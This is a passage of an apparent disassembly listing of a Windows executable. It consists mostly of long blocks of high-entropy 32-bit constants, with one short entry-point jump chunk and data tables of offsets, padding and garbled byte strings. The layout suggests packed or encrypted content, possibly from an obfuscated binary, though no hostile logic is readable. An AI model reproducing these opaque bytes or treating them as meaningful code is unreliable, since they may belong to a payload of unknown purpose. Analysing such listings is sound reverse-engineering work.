		dd 5AB891F9h, 40B7CD5Bh, 9A74088Ch, 0A492EE68h,	14A5F980h
		dd 0EB62FE6h, 9D0EEB17h, 8468B903h, 80666189h, 0A5227D29h
		dd 1855F68Fh, 19E672E7h, 0DC005B69h, 5CDF10BFh,	30706A03h
		dd 33D177D6h, 9000F72Ch, 0DF18502Bh, 0E78B89Bh,	58634D24h
		dd 0C4E8DA61h, 5C953033h, 2AB2ED01h, 68612F10h,	0F76D6180h
		dd 0B48B6CDDh, 8062EF00h, 74B7BF9Fh, 0DB81C359h, 0D800B0E2h
		dd 89C9AAE4h, 30FAFD9h,	0B8A8E9F9h, 291237B4h, 0FB00CDCAh
		dd 9488AD47h, 62AE00DEh, 0E324B941h, 0E700ED87h, 0C7F7565Dh
		dd 1BD843Fh, 1ABF4E3Ah,	0EB6174A5h, 5700497Ch, 0DCB79976h
		dd 15FC1EAh, 0BF4D0928h, 6083E135h, 0C500E816h,	7D3AC95Eh
		dd 0D6CFB99h, 7060C43Ch, 0D806CCD9h, 0ADA19500h, 772CB1C5h
		dd 43B80EC1h, 0A200E1Ch, 18DA1D0Dh, 4CB9CD48h, 32F16048h
		dd 0E70102h, 0AC9DD3CFh, 6BFE33AEh, 12C59D4h, 2A0B50E9h
		dd 0C41075D7h, 16008A3Ah, 0EF159E20h, 0C25008h,	0DA554A4h
		dd 0B44161F8h, 0F2E14D62h, 0F171C06Ah, 2AF7002Fh, 83F09B22h
		dd 5900081Ah, 0C702367Ch, 3B3B96Ch, 735E92E8h, 0A148DFE9h
		dd 60773A1Ch, 56CBA7F0h, 7161300Ch, 25194EA1h, 7B85F000h
		dd 0B3CB69BAh, 5C79C038h, 2BA1A0E2h, 0CA7D39h, 0F917F6A7h
		dd 4861B906h, 0ED185B25h, 33B469EFh, 2F5939C1h,	0C560681Eh
		dd 868E3FC1h, 0A7F2FB82h, 8984540Dh, 41188238h,	5221B720h
		dd 8449C1D6h, 0E558CEB3h, 704BFDA0h, 0C9090F3Dh, 2A80B7EAh
		dd 776084B8h, 0FEDA8223h, 73D73031h, 753B8621h,	92048590h
		dd 0A2BC3791h, 0CAB17B80h, 7FD7302Dh, 0C06A9D29h, 242A0D0Eh
		dd 0CBA220E1h, 7168085Ch, 0FB0982Dh, 0FEC4253Bh, 0A9508E60h
		dd 40996A74h, 6813780h,	0F21877D7h, 0A0D50A93h,	40F4D6D0h
		dd 65372E5h, 9BE258h, 33F1260Bh, 974E6DEh, 462B7B54h, 84087800h
		dd 2709115Ch, 18757F7h,	0C933AAC4h, 3987446h, 2E0EB0DEh
		dd 610078D7h, 0BE090B72h, 7353F0h, 293189AFh, 6F388CCAh
		dd 81C87504h, 0ACC8B8EAh, 0E1F32A73h, 60C0F8B4h, 31C91942h
		dd 5E3EFE4Dh, 7BBA1164h, 1D1AC40h, 83CC6B12h, 0C0167F44h
		dd 3B31C95Dh, 0FAF374C3h, 35BB51BCh, 0EC51E045h, 31E19C0h
		dd 0DC5AFEh, 0E0238B25h, 49D62170h, 0A26FDA05h,	0AC018663h
		dd 3AFE069Ah, 1AF81021h, 0B0D64C6Eh, 0E1CBA582h, 53749182h
		dd 0E0560C6h, 0C7341359h, 86059460h, 57C90D9h, 8C2B1033h
		dd 0AB1180FEh, 9A00CB50h, 0C4AF0828h, 28E8B987h, 0DCB884C6h
		dd 0AC2A2Eh, 6D6CE148h,	0BEEA9894h, 0EB7344A0h,	2C0021DEh
		dd 0B2D92EA9h
		dd 0E8B00149h, 743DB7A4h, 16C2355h, 0AC0E1835h,	0D89CBA11h
		dd 21A9C057h, 5CF5E3D7h, 0F603C90Eh, 0C022918h,	18824004h
		dd 696E60F0h, 0AB00E781h, 0AF01252Ah, 1408BB7Eh, 0E04FD924h
		dd 0EC21EC43h, 6095C00h, 0F81D881Bh, 1980E3E0h,	31FF5A2Bh
		dd 3A02BF25h, 0A2FBB0FDh, 3466BAh, 72E8307Ah, 9BF311BBh
		dd 9020A800h, 0D0D2C036h, 0A5971281h, 0CBF82052h, 0F200B64Ch
		dd 0E9D5B7Ch, 773F923h,	0A2667940h, 184C716Bh, 5241003Dh
		dd 0B639C0EEh, 1A9327ABh, 0F00C2E6h, 0F85B0EA6h, 98F17CAh
		dd 1DC08B3h, 5002548Eh,	0B4C63BBAh, 51CCA400h, 3CC9E661h
		dd 0E4AF025Fh, 67131EA1h, 0BB2CF081h, 0E9D0E78Fh, 0F4B05BACh
		dd 0DA8BA50Eh, 0A6DF8FE2h, 89ED52h, 13FBF572h, 2EB892A6h
		dd 7E416300h, 3991F251h, 9C775C9Dh, 5AA90B73h, 80D7CC6Fh
		dd 498467DDh, 17F82650h, 7301710h, 1F3D32C8h, 3B210B00h
		dd 0CB5CA8EBh, 0B05B00E6h, 208BEE86h, 9BB6EA2Ch, 8EAD007Ch
		dd 0C8D85C82h, 31BADA00h, 0CA77610Eh, 0B4A6C4h,	4CDCC2A3h
		dd 0F65C359Ch, 8AFB1203h, 0F8CEE780h, 78FC73D1h, 502090E1h
		dd 900F9C52h, 82BE12DCh, 0CE881FC6h, 0D780E081h, 8D420CDBh
		dd 64EE7324h, 13CB343h,	0CAE1691h, 20FA40C7h, 0A228F344h
		dd 3011E021h, 0E000D551h, 0E29AE5FBh, 8F39D050h, 0C1111DA2h
		dd 81478C00h, 24F02789h, 170F788h, 601FD232h, 0D871806Dh
		dd 90944C8Dh, 0AF9300A0h, 9BDC6EE5h, 0B0E2CAE9h, 0EE4FC940h
		dd 44B1B4h, 0CDAD1773h,	64122BE5h, 9A009699h, 0D0F4D9C4h
		dd 0FD5A903Bh, 0C8407422h, 527257h, 5CB9445Eh, 0A39DC704h
		dd 0AF0404Ch, 8CEC8189h, 4268F107h, 0CA18AD80h,	0FC3311D7h
		dd 6052267Bh, 29E33540h, 0F800010h, 49365112h, 1C007E45h
		dd 73CB79CDh, 0A03C0B33h, 104B02BCh, 0D8ED7Ah, 0D02FEEECh
		dd 2E8CBBA7h, 920655Fh,	7483E406h, 0E1004AB4h, 0D2C1108Bh
		dd 1828C376h, 0AC6C8D90h, 0B40067BFh, 69A9BD3Ah, 9A71D60Eh
		dd 13E650h, 22C2B04Ch, 0A0DEEE75h, 4402880Ah, 5930FDCAh
		dd 13CFF3Eh, 0C8105CC7h, 49615F01h, 7CE800C4h, 9B031411h
		dd 9E4DCC09h, 5BAFA1E1h, 38301ECh, 10F3A53Ch, 74F825BCh
		dd 59CB3260h, 20A010D5h, 0D63800C3h, 0AB09E7C6h, 743DAF04h
		dd 0EB5295A1h, 0FDC900A0h, 4EAA7305h, 0CC760099h, 0D27EF728h
		dd 0AE4C4D6Bh, 2D0800EBh, 770E547Bh, 0BF9B01ABh, 0C1678EE4h
		dd 81E84464h, 62D5CB18h, 0B0F501ACh, 15CD23FCh,	9ECCFCh
		dd 35D86610h, 56A97F17h, 0E08844Ch, 808A183Fh, 0A53B9D19h
		dd 0E4F512BCh, 0E1800855h, 0A00D5C8Fh, 0A94976ACh, 0BD47916h
		dd 0B5EA58FFh, 5F118410h, 965AF216h, 55C92005h,	2DEFF000h
		dd 0B9D6C420h, 0F23F3E4Ch, 9C6313h, 0E7374FEFh,	73068593h
		dd 76D5A415h, 210E00C1h, 0E3573147h, 0BA0FD20Dh, 20B9AD8Dh
		dd 4D91BE8Ah, 33A81843h, 0E84859C6h, 74D5C318h,	3F856441h
		dd 4C75D1ECh, 2A0F9729h, 0D26C04h, 0E8D9F5DCh, 6496D5ABh
		dd 1963BC80h, 1A63436h,	3A77898Bh, 0DCB280AAh, 7344D735h
		dd 81C3076Fh, 21F2C55Dh, 0C0CA84BDh, 9005181Ch,	7852A741h
		dd 2346C4C2h, 87D8E7B6h, 7D39CE02h, 0BC00FF60h,	47F764EBh
		dd 135840BEh, 44B604B7h, 98F473E8h, 82002FD4h, 0A7DCA942h
		dd 946068D9h, 9ED2804Ch, 0F1B8AB56h, 9C3B8726h,	0D0404011h
		dd 0C0234C2Ch, 20B43812h, 8EF4774Ch, 0D6D4B203h, 0A04A7CA5h
		dd 7EB375Fh, 0D3CBEAD9h, 0E7C14061h, 0E2004DC5h, 1709035Ch
		dd 2EB8D1A5h, 0C04817Bh, 96088F9Ch, 7C20834Bh, 93CF26h
		dd 0D227E22Ch, 0A5B3BD2Dh, 9D157104h, 3E037DD5h, 7890FD02h
		dd 3F0008E4h, 8FAE5313h, 39EAA85Eh, 2C009ECEh, 29C95A4Dh
		dd 0A97C1036h, 0A38ACA1Ch, 21B935C5h, 0DA0C84C0h, 814D01E3h
		dd 7A7F410h, 0C0EC2073h, 79037B44h, 0D34701C8h,	0C9353C56h
		dd 0CA22126Ah, 40D88484h, 0FB21BE40h, 0CB03085Ch, 0FF3C92D8h
		dd 0A0FCC023h, 27520009h, 26F03FC9h, 18C0AB87h,	854D3033h
		dd 0DC950502h, 2752990Dh, 0E18A40DCh, 0B824B3E3h, 0ED00842Fh
		dd 8895818h, 0D8F23CADh, 36860F84h, 24088D7h, 508AB800h
		dd 0CF1EB968h, 0BAF14856h, 0E77EBC02h, 0E0ECFB33h, 0F3D7041Dh
		dd 0AB76EE00h, 30732F58h, 0C381DCE6h, 374DC85Eh, 4D220A6Ch
		dd 8F06E45Fh, 40E0A4h, 8EDE60FDh, 0B92AC7D9h, 0C94AB704h
		dd 0DB003CB4h, 6056829Dh, 107FD705h, 98805E0Dh,	4BF0C6CDh
		dd 0F5642722h, 5489C046h, 0AF00B90Fh, 9A41A5FAh, 94FE71AEh
		dd 1FE201DCh, 51842122h, 0F4340E1Ch, 2E1CC08Fh,	0FBE7538h
		dd 806AD08Dh, 6C5B89F4h, 603E481Ch, 1900323Ch, 5D0D70FAh
		dd 22384CC9h, 60E97EAAh, 0CE07E871h, 23CA2CB7h,	900C4469h
		dd 0AFEE28h, 53D99590h,	0B7BBD47Fh, 44B33B28h, 0D03F2118h
		dd 0DEBA32h, 0D78D5303h, 78CAF1D1h, 0C988C300h,	8CB6BE3Bh
		dd 0F95B059Bh, 88587440h, 0FF5233BCh, 0EF1700CCh, 0B47A6B18h
		dd 7821C04Eh, 0D2640953h, 261FA301h, 0EC1FC11h,	4FF00CC5h
		dd 0CC5E8C4h, 795FE83Ch, 0B1001D49h, 80702AA2h,	2688EEEFh
		dd 5910532h, 0C1A5F3CBh, 303CAB00h, 0A91C0F64h,	40ECD084h
		dd 893D5D08h, 0F1823ABDh, 0C46A9137h, 0E923CF8Fh, 6900675Fh
		dd 0F4316227h, 2D5A8C7h, 0BF1DE61Ah, 1C68992Eh,	3944B424h
		dd 496B0406h, 0F4617F56h, 0F1071FC4h, 0FD399862h, 0ED271220h
		dd 6D1E0071h, 0E177A90Bh, 0EC982BCDh, 0B24C24Ch, 98E3676Bh
		dd 0F63774h, 8387FA3Ah,	0A356FFE9h, 0EB627028h,	30138CB0h
		dd 0C4888424h, 33171305h, 0F97B01EFh, 63A41634h, 0C60F00F8h
		dd 44E1F89Dh, 893500FFh, 27B97FE7h, 0A20941CDh,	813AAB9Fh
		dd 90D8402Ch, 0C8EB6453h, 0E91ACD5h, 0CFC0F819h, 85F93900h
		dd 0F54C3516h, 5E748270h, 0EB0643Ah, 2FFB31C9h,	6E7A5480h
		dd 411DABEFh, 7CA4A8ACh, 49C82914h, 0B33984C8h,	0EE4124B4h
		dd 46F400A3h, 13AC1D14h, 723937CFh, 753C8262h, 0C0825154h
		dd 0BB0500h, 0EA60B95Fh, 3EC506ADh, 0A0D61F2Dh,	8B15A944h
		dd 0A7710058h, 0ADD6746h, 0BE4CCEB6h, 1D7F3B4Dh, 73098ED5h
		dd 0C41090EAh, 2C8048Ch, 0D2AB8694h, 8862A2A8h,	0EE2C7010h
		dd 1572D300h, 643CBDBAh, 6D87144Bh, 0FF13E8F1h,	80B86421h
		dd 6549B110h, 0C491B0BAh, 990B5583h, 0A0CFDB75h, 0C0D251A8h
		dd 35F93189h, 0C1A33337h, 153F8022h, 0BC726188h, 79B5F276h
		dd 3CFB1E47h, 21B0AC80h, 65C2053Ch, 703CC0BDh, 56506D78h
		dd 0B94E8C24h, 88387800h, 4C738626h, 8380D4F3h,	0F80C9BBAh
		dd 0C104A576h, 0F2737D3Ch, 60B32CB4h, 3F494936h, 401D13E8h
		dd 340CA8D7h, 5C4881F2h, 535A3CB7h, 4713A8h, 9F11FF54h
		dd 94A03CB8h, 618942B5h, 87007C69h, 58672034h, 490EBF27h
		dd 81751EAAh, 590185CBh, 7E56088Ah, 72F703D0h, 9911D3E9h
		dd 1678B9EAh, 0D5B383ABh, 30A0118h, 0CC56BA54h,	59FA7BF5h
		dd 0E942B00h, 0F5A2983h, 0BDA51C67h, 0EE51C55Dh, 2CA277h
		dd 3F7442FAh, 0B3C543Ah, 0BB654F23h, 9E00E444h,	0EF25ACB9h
		dd 22034Bh, 18DA893Ah, 3CC934ADh, 264E073Dh, 2175092h
		dd 0FC331002h, 90982967h, 7E0BEB5Ch, 68D5E52Fh,	3FF366BCh
		dd 0D7879028h, 0D0B27505h, 83A6BC91h, 0FE92A500h, 0FF015657h
		dd 0E9E8903Ah, 0E8A5E2D6h, 61E573B4h, 0FD5B61DEh, 80A83857h
		dd 0E4E5179h, 55400B2h
		dd 0A5DF7BC2h, 1AEE45AEh, 811BD11Ch, 0A4C0F064h, 804D0143h
		dd 0D0137331h, 4C0762A8h, 0E3304FFh, 529FE974h,	0A2005033h
		dd 49899DF5h, 87505525h, 9084BBFCh, 0FB5B1200h,	0E59CC857h
		dd 0C300CCB8h, 65CBF250h, 1ED28304h, 47A77985h,	0D6354DDDh
		dd 0E80E615Fh, 658BA89Eh, 50C01559h, 7D4BEE9Ah,	1DA0B806h
		dd 2496ABE9h, 558A3AC0h, 685974h, 30365CA6h, 203FF45h
		dd 0B035A3Bh, 0CA2189B7h, 501C4E0h, 0A4B549CEh,	0D1D42051h
		dd 7A097D97h, 0EA98409h, 2DFDA1A4h, 13CBB63Ch, 564FE10h
		dd 2045B82Dh, 33A915C4h, 0F020C85Bh, 17C2796h, 25D42ADh
		dd 3DD6123Dh, 0E46E01CCh, 0D5A2FCE6h, 0A5E7330h, 0F435327Fh
		dd 2516007Ch, 31AFDEA9h, 2274245Ch, 0D72C2CF0h,	0C6FA4000h
		dd 0A00089CAh, 0D67597B3h, 0CDD586h, 8F25A866h,	353A28FFh
		dd 0CB4160B4h, 70780456h, 64C50D89h, 3C8E740h, 667802CCh
		dd 43EC23BFh, 0B3F3E898h, 15E5CB00h, 4A2C206Eh,	0DEEE006Ah
		dd 3E147D38h, 4C01BE5Ch, 9BD2C0D9h, 3CE0A5E8h, 90FF825h
		dd 33C1FA92h, 5CB6880h,	0AC48E85Dh, 45F2C090h, 369D46Bh
		dd 5F8FAAA5h, 0ECD88507h, 0E0162E4h, 8BED54C8h,	0D1946C60h
		dd 73AD2Ch, 0E82B57Dh, 0A19C46FCh, 8F29B812h, 0E8905C37h
		dd 388855A9h, 82BB4DBAh, 8C5FD514h, 1657EC80h, 511F77F2h
		dd 2300E3C4h, 0B578E63Fh, 9A181E1Dh, 414EC90h, 8C4D83ADh
		dd 230E67BCh, 0C0C436D3h, 9A31FCB2h, 6343873h, 17B04600h
		dd 56CC64CEh, 2FEF40Bh,	3A3C07D0h, 2D853D77h, 27F40CCh
		dd 81F34758h, 0A6276B61h, 0FF1E0130h, 6E347351h, 0D9EC1977h
		dd 2E011381h, 154CCF05h, 0ADD4BCEFh, 0F06F1628h, 2454CC8Ah
		dd 4AFF5A39h, 6C1C7185h, 22F29800h, 9160C935h, 0A2E58018h
		dd 0D9D2B9E9h, 3300E876h, 0BF2C3A03h, 1779B65Ch, 0C9816616h
		dd 603461E0h, 0CE02A2DAh, 0D4CCE17Bh, 39D040A3h, 34B151h
		dd 141D93CAh, 33FAB242h, 0B9BC103h, 0E85EE1B1h,	0E783B9h
		dd 569A8536h, 8628C952h, 84AFB826h, 25450301h, 68726089h
		dd 0F06A600h, 350A63FBh, 0E20B767Ch, 297488h, 2301035Ch
		dd 0EA8200B1h, 8BF25199h, 72EA43Fh, 7F605052h, 0E4C344h
		dd 946DEFCDh, 0F68915BFh, 0E38D802h, 0C0DDA017h, 4C8646BCh
		dd 48227481h, 0B32CFE17h, 0FF994090h, 74300CACh, 45289412h
		dd 163CD08Ah, 2051AB84h, 1F676C40h, 78F49900h, 0A52BCD5Dh
		dd 0CFE2000Ah, 24D831D9h, 742E5186h, 80C9AC58h,	0EA05B908h
		dd 73AE0AD1h, 4CCD395h,	0C00E565Bh, 40BDCB48h, 0C17A1E28h
		dd 80A45258h, 9AABD19Ch, 0DA2B1CECh, 6182C541h,	76A4417Ah
		dd 0D4A69209h, 8C00ABA5h, 9CF69F67h, 0B30B11h, 0DC5B6522h
		dd 0FD56B9AFh, 0F3AE58h, 0D804EF36h, 0B8B8448Bh, 0E03912E0h
		dd 0C154C42Ah, 116BFF88h, 54725774h, 17DA5D01h,	4460DDB0h
		dd 621C140h, 0D039F184h, 9000E364h, 0EE58776Bh,	4F2832F3h
		dd 0BB4C2022h, 1800C8FBh, 0DD814375h, 2D8A44B2h, 9490AF4Ch
		dd 61EE9D0h, 5C401F75h,	536E0DB7h, 0B85E008Ah, 8DD546E2h
		dd 8C5058C7h, 289CEC9Ch, 3DF9A440h, 617E263Bh, 71470Ch
		dd 2C5E1FD7h, 31645800h, 0BC6D402Bh, 0F0C8006Fh, 0B636E509h
		dd 0F8BC6A74h, 8C432945h, 0C1D4FC5Fh, 1832512Ah, 95F61903h
		dd 0E5E0CF6Ah, 8D00E22Bh, 3977547Ah, 251BD40h, 29B9C1A6h
		dd 0FFC04489h, 0A100CCC8h, 353FBE49h, 0B6973C12h, 4C1027F0h
		dd 8A908ED8h, 2D7F6B00h, 200EBF89h, 0A72805C8h,	0B4520FACh
		dd 9F0F6FDCh, 0E0E99EF7h, 0CD8616ABh, 94F204h, 5C21BD52h
		dd 8E91E2DCh, 1C91A01h,	96A24D84h, 39DFF1F0h, 204BE879h
		dd 0EA2FCD2Ch, 1168A38h, 0D6D95430h, 0FBC95394h, 98575C20h
		dd 61E8A238h, 0B91248A0h, 2D0AFC50h, 645E5C0Ch,	0A2294980h
		dd 4BBAFC9h, 80D6DA78h,	0A1A48019h, 64A899A9h, 0FBF6EB9Ah
		dd 827B2500h, 730230FEh, 21E46BE0h, 993EAC44h, 0DA5C00CAh
		dd 944505B8h, 4371264Eh, 0CF7603F9h, 5D9AEBE3h,	5BD6D880h
		dd 0F1256410h, 2480C2C9h, 0EA4067B4h, 875C06A2h, 6266B90Fh
		dd 5EA7E054h, 952E7022h, 0A9684890h, 1C85B901h,	7B5BA741h
		dd 8D0A4850h, 49EF002Fh, 0AA8C33DAh, 1060C382h,	0E43EB526h
		dd 63C70950h, 0C048F334h, 0FE009ACBh, 7826D71h,	1F565311h
		dd 74DC5Fh, 0C04CC910h,	7D001454h, 0E19E085Ch, 1A83973h
		dd 22BEAAE8h, 6DD73CB7h, 2D1F1650h, 50428F03h, 0CBE9B8F5h
		dd 90A4E483h, 7310172Ch, 0B24024EDh, 0D91400F4h, 3C03C390h
		dd 657B0074h, 0ECE320B1h, 0D24B1A36h, 6FF1D820h, 0E1320045h
		dd 0DD715446h, 0C1017B70h, 65DF9504h, 0CBE8C44Dh, 86BC0FADh
		dd 0E3856824h, 94F40284h, 48C4FA33h, 0A7F6E0C5h, 6500D8F2h
		dd 0B1608551h, 8D009895h, 68EA966Fh, 7EE022h, 0DA4140BFh
		dd 0A8EEB5E4h, 0ED827409h, 7FF044A7h, 0D2D80090h, 3A6183ECh
		dd 0FA5A346Dh, 530D3C30h, 0C43C18DCh, 0A904404Ch, 0E03DAF7Ch
		dd 5228054Bh, 30F11DA3h, 0FFF8E0CEh, 94B3523Bh,	0DCF03601h
		dd 0F4D6C047h, 0BC790B2Bh, 0C6C37200h, 54BF3015h, 8F9A03E4h
		dd 9582B86Bh, 8100ECF3h, 6CA54169h, 12D755F6h, 0A02833C7h
		dd 61F690D8h, 8D017CB9h, 0D942942Ah, 0F46026F9h, 0B93188DFh
		dd 0EAB84009h, 3FCD1B6h, 985B462Ah, 7452A4D8h, 0FC19212Ch
		dd 18026911h, 6C632E0Eh, 921DA4D9h, 4993F580h, 988E3156h
		dd 0D02F1CF8h, 39781A33h, 4A00F066h, 9D3B60C2h,	2A6AC1h
		dd 0DED4443Fh, 0BC7C887Ah, 0C526621Dh, 0E9A725C0h, 911D20E3h
		dd 50D080ACh, 0CC4A52BFh, 99331401h, 40B3518h, 0A0402030h
		dd 0F829DDCCh, 0C8F70156h, 0FB06B27h, 572085D6h, 0ACC0CA1Ch
		dd 907D9740h, 84790900h, 0BC189619h, 0F977DC6Eh, 0A16F0700h
		dd 0D55E8041h, 949038D6h, 7392B783h, 80DCF8F6h,	618DAC44h
		dd 7DC7944h, 32E1C0D4h,	4D7620F7h, 0D60B503h, 0B8CD1A62h
		dd 0B6A5023Ch, 607BDDBDh, 4FE480C4h, 8E029000h,	2C0B338Ch
		dd 4E88B624h, 80C30A05h, 0E3BE48DBh, 0FF4B3400h, 1FB4781Ch
		dd 37C9008Fh, 97B2F1E2h, 5830B93Ah, 0E83DF01Dh,	0A37809Ch
		dd 90518A28h, 6F260F12h, 4D024C02h, 4FC060B5h, 57A4A02Ch
		dd 28E903Ah, 9E776C7Dh,	40F03B56h, 615B4AEEh, 95452840h
		dd 40B5DEh, 0C21DC52Fh,	2AA1A5F1h, 115A3C02h, 62B7A3B6h
		dd 15CE4E8h, 1931B9B5h,	17686118h, 0FAFCEE00h, 0F92700E5h
		dd 2026DF77h, 2B1356A9h, 790108B9h, 0D3BE025Ch,	0A079002Fh
		dd 0E79F22BDh, 0BC8F5124h, 0CBA7FE00h, 0F0103A85h, 0BB0B161h
		dd 35FCAF8Eh, 5613341Fh, 86A80090h, 2C5514D3h, 0D2004460h
		dd 0C6CEBE13h, 0DA3AC488h, 735F0911h, 0B42890F3h, 0EE41C131h
		dd 0E8041750h, 0C503AE26h, 0F83FF0B1h, 9EE7A851h, 0EAD902E2h
		dd 0CC23E393h, 0FFFF0197h, 0DBh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C7BF:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53FB14
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 6D138EFCh, 5A4DFCh, 0EB9671CAh, 4 dup(0)
		dd 3A0h, 7 dup(0)
		dd 240000Ch, 0
		dd 9FFA56h, 0Bh	dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd offset asc_5BBAFE	; "ллллллллллллллллллллллллллллллллллллллл"...
		align 10h
		dd 77D4C96Ah, 0FFA88A42h, 6 dup(0)
		dd 0ADB1CAh, 4 dup(0)
		dd 0FD841443h, 2 dup(0)
		dd 0FFFC0608h, 5 dup(0)
		dd 5E8h, 21h dup(0)
		dd 0A3A5E7h, 8 dup(0)
		dd 0FFA74DFCh, 4 dup(0)
		dd 0EE8h, 0
		dd offset dword_56FEC0
		dd 5 dup(0)
		dd offset dword_53E1C0
		dd 5 dup(0)
		dd offset byte_594533
		dd 0FFFFFF80h, 0F88CA801h, 2 dup(0)
		dd 69F5h, 2 dup(0)
		dd 783Fh, 0Fh dup(0)
		dd 0A17316h, 7FFE0304h,	0FE00CFEDh, 7 dup(0)
		dd 10DDFh, 0
		dd 1959823Ch, 4	dup(0)
		dd 0FFFFFFFEh, 4 dup(0)
		dd 1, 5	dup(0)
aCycw		db 'cyГw',0
		align 2
		db 'X',0
		dd 0
		dd offset dword_52F848+7DBh
		dd 5 dup(0)
		dd offset byte_56C991
		align 10h
		dd 0F905090h, 2	dup(0)
		dd 0FC7Fh, 3 dup(0)
		dd offset byte_570023
		dd 0Dh dup(0)
		dd offset dword_5ABBF8
		align 10h
		dd 0D402h, 2 dup(0)
		dd 710451BCh, 0D68h, 0Bh dup(0)
		dd 15E351C0h, 0
		dd 783Fh, 0Bh dup(0)
		dd 69F5h, 5775BEh, 4 dup(0)
		dd 0FEC12C46h, 8 dup(0)
aKIIy		db 'kш',0Ah
		db '┬ж┴Y',0
		dd 11h dup(0)
aGaj0us		db 'ё─╕м0НS',0
		dd 4 dup(0)
		dd 0A0h, 2 dup(0)
		dd 3240h, 0F440245Bh, 4	dup(0)
		dd offset dword_586464
		dd 0
		dd offset dword_582624
		dd 0
		dd offset dword_5893E4
		dd 2 dup(0)
		dd offset dword_574E38
		dd 5 dup(0)
		dd 25BFFFFh, 2 dup(0)
		dd offset dword_52F848+7B8h
		dd 0
		dd offset word_5B3196
aW		db 'л^щw',0
		align 10h
		dd 2 dup(0)
		dd 0DF6D68h, 9F9393h, 7	dup(0)
		dd 9F69DDh, 3 dup(0)
		dd 1, 0
		dd 667F6926h, 1, 9F6CB0h, 9F8C0Ah, 5 dup(0)
		dd offset word_5775BE
		dd 6 dup(0)
		dd offset dword_5985A8
		dd 4 dup(0)
		dd 5B05h, 0
		dd 0AFA1FEh, 77E60000h,	2 dup(0)
aZasw		db 'zAХw',0
		align 4
		dd offset word_574BFE
		dd 77E60000h, 5	dup(0)
		dd 8D9Dh, 2 dup(0)
		dd 1F0C0h, 0
		dd offset dword_5AF940
		align 10h
		dd 74h,	0FEA00050h, 10h	dup(0)
		dd offset byte_581725
		dd 0Dh dup(0)
aJCw		db '├дГw',0
		align 4
		dd 5 dup(0)
		dd 0FFFFAFE7h, 6 dup(0)
		dd offset word_590242
		dd 0B60000h, 0FDF821B8h, 56FEE8h, 60h, 2 dup(0)
aNnT		db '██{▓',0
		align 4
		dd offset dword_53F3B8
		dd 4 dup(0)
		dd 77F5180Bh, 3	dup(0)
		dd 0FFFFFFA0h, 9FA00Fh,	5 dup(0)
		dd offset byte_57F3D9
		dd 4 dup(0)
		dd 304h, 2 dup(0)
		dd 2590000h, 0EBDE04EBh, 4 dup(0)
		dd 188828h, 9F2292h, 0FFFFFFFFh, 6B780CF1h, 3 dup(0)
		dd offset byte_57DA4B
		align 8
		dd 69F5h, 2 dup(0)
		dd 1000h, 56F71Ch, 0Ch dup(0)
		dd offset dword_5B3228
		dd 9F09F7h, 0B0E9h, 5 dup(0)
		dd 0FE500050h, 2 dup(0)
		dd 9FA037h, 0
		dd 0AAE41C3Fh, 98h, 0
		dd 0FF0799B4h, 5 dup(0)
		dd 0A280105h, 0
		dd 9F2BDEh, 3 dup(0)
		dd 9F6CB0h, 0
a0I		db 'ъ0е╘',0
		align 4
		dd 9 dup(0)
		dd 13CE9h, 9 dup(0)
		dd 80h,	0
aBJa		db '│>J═',0
		align 4
		dd 6 dup(0)
		dd 7FFE0304h, 30DFh, 2 dup(0)
		dd offset aA_2		; "`aб\b"
		dd 3 dup(0)
		dd 0FFA80000h, 2 dup(0)
		dd 77F50000h, 0
		dd offset dword_580000
		align 10h
		dd 1, 0
		dd 2A721FC9h, 77DD59F0h, 5B05h,	2 dup(0)
a6666		db '6666',0
		align 4
		dd 9 dup(0)
		dd offset asc_5BBAFE+0D55h
		dd 2Ch dup(0)
aCw		db '╣\Гw',0
		align 4
		dd 5 dup(0)
aCc		db 'ъГФ[',0
		align 10h
		dd 3 dup(0)
		dd 0FFA80000h, 2 dup(0)
		dd 77F7EBB3h, 5	dup(0)
		dd offset byte_5A422F
		align 10h
		dd 0A8h, 57A3DBh, 2 dup(0)
		dd 1, 2	dup(0)
		dd 77EB87F2h, 4	dup(0)
aHkj		db 'h╙J=',0
		align 4
		dd 168016E7h, 2F6C3Fh, 1, 0
		dd 440FB346h, 6	dup(0)
		dd 1, 9	dup(0)
aVlcwg		db '┌▀Гwё<ч╪',0
		align 4
		dd 12h dup(0)
aKh		db 'ш╧kH',0
		align 4
		dd 0
		dd offset byte_57F3D9
aSjiw		db 'И╕Кw',0
		align 4
		dd 16h dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd offset dword_575B94
		dd 0
		dd 25BF9FEh, 2 dup(0)
		dd 0FFFF992Ch, 6 dup(0)
		dd offset word_578BD6
		dd 7 dup(0)
		dd 2890000h, 1,	5 dup(0)
		dd 90h,	4 dup(0)
		dd offset word_5B3196
		dd 0
		dd 0FF524E36h, 2 dup(0)
		dd 1, 8	dup(0)
		dd offset dword_52F848+7DBh
		align 10h
		dd 35F234D7h, 3	dup(0)
		dd offset dword_580000
		dd 2 dup(0)
		dd 801DD2C4h, 2	dup(0)
		dd 77DD189Ah, 0
		dd 9F0001h, 3C600h, 2 dup(0)
		dd 1, 57E34Bh, 8 dup(0)
		dd offset byte_57C4E3
		align 10h
		dd 86D8061Bh, 3	dup(0)
		dd offset dword_580000
		dd 11h dup(0)
		dd 4, 2A721FC9h, 6 dup(0)
		dd 99E9h, 0
		dd 939Eh, 2 dup(0)
		dd 0FFFFFDFFh, 0
		dd 2400000h, 3 dup(0)
		dd 12FF54h, 56FF10h, 77FF01F8h,	0
		dd 1, 9E0FE6h, 4 dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd 9E0000h, 2 dup(0)
		dd 0FFFFBFBBh, 5 dup(0)
		dd 77E7A5FDh, 76B41B40h, 4F7h, 0Bh dup(0)
		dd 1647CB76h, 0
		dd offset word_574BFE
		dd 0
		dd 0FFFF9CFAh, 4 dup(0)
		dd 2D0CE9DBh, 2	dup(0)
		dd 6FAE9h, 0Eh dup(0)
		dd 0FFFFFFFEh, 5733BFh,	53EE31h, 0
		dd 85h,	4 dup(0)
		dd 70h,	0
		dd offset word_57DA46
		dd 0
aJW		db 'jитw',0
		align 4
		dd 2 dup(0)
		dd 2486B9Ch, 24242424h,	6 dup(0)
		dd 17E64B7h, 0
		dd offset byte_57F3D9
		dd 4 dup(0)
aXste		db '∙▒▓e',0
		align 4
